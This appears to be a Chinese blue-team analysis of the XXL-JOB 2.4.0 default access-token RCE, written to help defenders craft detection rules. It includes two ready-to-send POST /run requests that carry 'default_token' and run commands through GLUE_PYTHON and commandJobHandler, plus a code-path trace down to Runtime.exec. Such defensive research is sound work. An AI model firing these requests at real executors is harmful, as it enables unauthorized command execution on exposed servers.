从蓝队角度分析XXL JOB默认ACCESS-TOKEN导致RCE漏洞
0x1 环境搭建
- IDEA导入xxl-job 2.4.0
- 修改application.properties配置文件中的数据库配置
- 先启动XxlJobAdminApplication,再启动XxlJobExecutorApplication
0x2 利用流程
执行函数com/xxl/job/core/util/ScriptUtil.java/execToFile
主要有两种利用方式,glueType均有多种选择(BEAN、GLUE_GROOVY、GLUE_SHELL、GLUE_PYTHON、GLUE_PHP、GLUE_NODEJS、GLUE_POWERSHELL),对应修改payload即可。
第一种:
POST /run HTTP/1.1 Host: 192.168.120.119:9999 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.289 Safari/537.36 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: Keep-Alive Content-Type: application/json XXL-JOB-ACCESS-TOKEN: default_token Content-Length: 380 { "jobId": 203, "executorHandler": "demoJobHandler" , "executorParams": "demoJobHandler", "executorBlockStrategy": "COVER_EARLY", "executorTimeout": 0, "logId": 1, "logDateTime": 1699328616, "glueType": "GLUE_PYTHON", "glueSource": "import os;os.system(f'echo test>>D:/test.txt')", "glueUpdatetime": 1699328616, "broadcastIndex": 0, "broadcastTotal": 0 }
第二种:
POST /run HTTP/1.1 Host: 192.168.120.119:9999 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.289 Safari/537.36 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/json XXL-JOB-ACCESS-TOKEN: default_token Content-Length: 314 { "jobId": 2012, "executorHandler": "commandJobHandler" , "executorParams": "calc", "executorBlockStrategy": "", "executorTimeout": 0, "logId": 1, "logDateTime": 1586629003733, "glueType": "BEAN", "glueSource":1, "glueUpdatetime": 1586629003727, "broadcastIndex": 0, "broadcastTotal": 0 }
0x3 背景介绍
3.1 官方文档:https://www.xuxueli.com/xxl-job/
为提升系统安全性,调度中心和执行器进行安全性校验,双方AccessToken匹配才允许通讯;
调度中心和执行器,可通过配置项 “xxl.job.accessToken” 进行AccessToken的设置。
- 调度中心项目:xxl-job-admin
- 作用:统一管理任务调度平台上调度任务,负责触发调度执行,并且提供任务管理平台。
- “执行器”项目:xxl-job-executor-sample-springboot (提供多种版本执行器供选择,现以 springboot 版本为例,可直接使用,也可以参考其并将现有项目改造成执行器)
- 作用:负责接收“调度中心”的调度并执行;可直接部署执行器,也可以将执行器集成到现有业务项目中。
3.2 一次完整的任务调度通讯流程
- 调度中心”向“执行器”发送http调度请求:“执行器”中接收请求的服务,执行器实际上是一台内嵌Server,默认端口9999,(配置项:xxl.job.executor.port);
- “执行器”执行任务逻辑;
- “执行器”http回调“调度中心”调度结果:“调度中心”中接收回调的服务,是针对执行器开放一套API服务;
3.3 执行器 RESTful API
触发任务执行 ------ 地址格式:{执行器内嵌服务根地址}/run Header: XXL-JOB-ACCESS-TOKEN : {请求令牌} 请求数据格式如下,放置在 RequestBody 中,JSON格式: { "jobId":1, // 任务ID "executorHandler":"demoJobHandler", // 任务标识 "executorParams":"demoJobHandler", // 任务参数 "executorBlockStrategy":"COVER_EARLY", // 任务阻塞策略,可选值参考 com.xxl.job.core.enums.ExecutorBlockStrategyEnum "executorTimeout":0, // 任务超时时间,单位秒,大于零时生效 "logId":1, // 本次调度日志ID "logDateTime":1586629003729, // 本次调度日志时间 "glueType":"BEAN", // 任务模式,可选值参考 com.xxl.job.core.glue.GlueTypeEnum "glueSource":"xxx", // GLUE脚本代码 "glueUpdatetime":1586629003727, // GLUE脚本更新时间,用于判定脚本是否变更以及是否需要刷新 "broadcastIndex":0, // 分片参数:当前分片 "broadcastTotal":0 // 分片参数:总分片 } 响应数据格式: { "code": 200, // 200 表示正常、其他失败 "msg": null // 错误提示消息 }
0x4 分析过程
1) 在com/xxl/job/core/executor/XxlJobExecutor.java中会初始化并启动“执行器”内嵌Server,默认端口9999。
2) 在com/xxl/job/core/server/EmbedServer.java中
a. 获取请求的内容、uri、方法和头部XXL-JOB-ACCESS-TOKEN。
b. 将上面获取到的请求信息传入Process方法,首先进行了三个判断:
- 若请求方法不是POST,则结束
- 若uri为空,则结束
- 若XXL-JOB-ACCESS-TOKEN不存在或值与配置中不同,则结束
任务执行的uri是/run,那么进入run分支,在run分支中,首先会将请求提交的json内容转化TriggerParam对象,并传入executorBiz.run方法中。
3) 在com/xxl/job/core/biz/impl/ExecutorBizImpl.java文件内的run方法中。
获取TriggerParam中保存的请求内容,如glueType参数,可以发现其实glueType支持多种形式,但目前网上公开的POC基本只有GLUE_SHELL、GLUE_POWERSHELL,实际测试发现其它同样可以实现RCE。
由于测试的glueType=GLUE_PYTHON,那么最终进入脚本判断流程,获取ScriptJobHandler处理对象,传入XxlJobExecutor.registJobThread方法进行后续处理。
4) 在com/xxl/job/core/executor/XxlJobExecutor.java中,通过请求中的jobId、handler创建线程,并通过start执行JobThread中的run()方法。
5)在com/xxl/job/core/thread/JobThread.java中,执行handler.execute();hadler是IJobHandler的对象,而ScriptJobHandler是IJobHandler子类,最终会进入到ScriptJobHandler的execute方法中
6) 在com/xxl/job/core/handler/impl/ScriptJobHandler.java的execute()方法中,首先会根据传入的脚本类型和命令生成对应的脚本文件,然后传入脚本文件路径ScriptUtil.execToFile()中。
6) 在com/xxl/job/core/util/ScriptUtil.java中,通过Runtime.getRuntime().exec()实现命令执行。
总结:
1) 网上公开的POC基本只有一两种利用情况,按照实际测试情况看,其它多种脚本方式也可以成功执行,单单基于公开的POC开发检测规则在实战中会检测不全;
2)从分析情况看,有些参数是必须的,比如方法必须是POST等,否则无法成功利用。因此在写检测规则时可以基于必须的参数严格限制,避免冗余。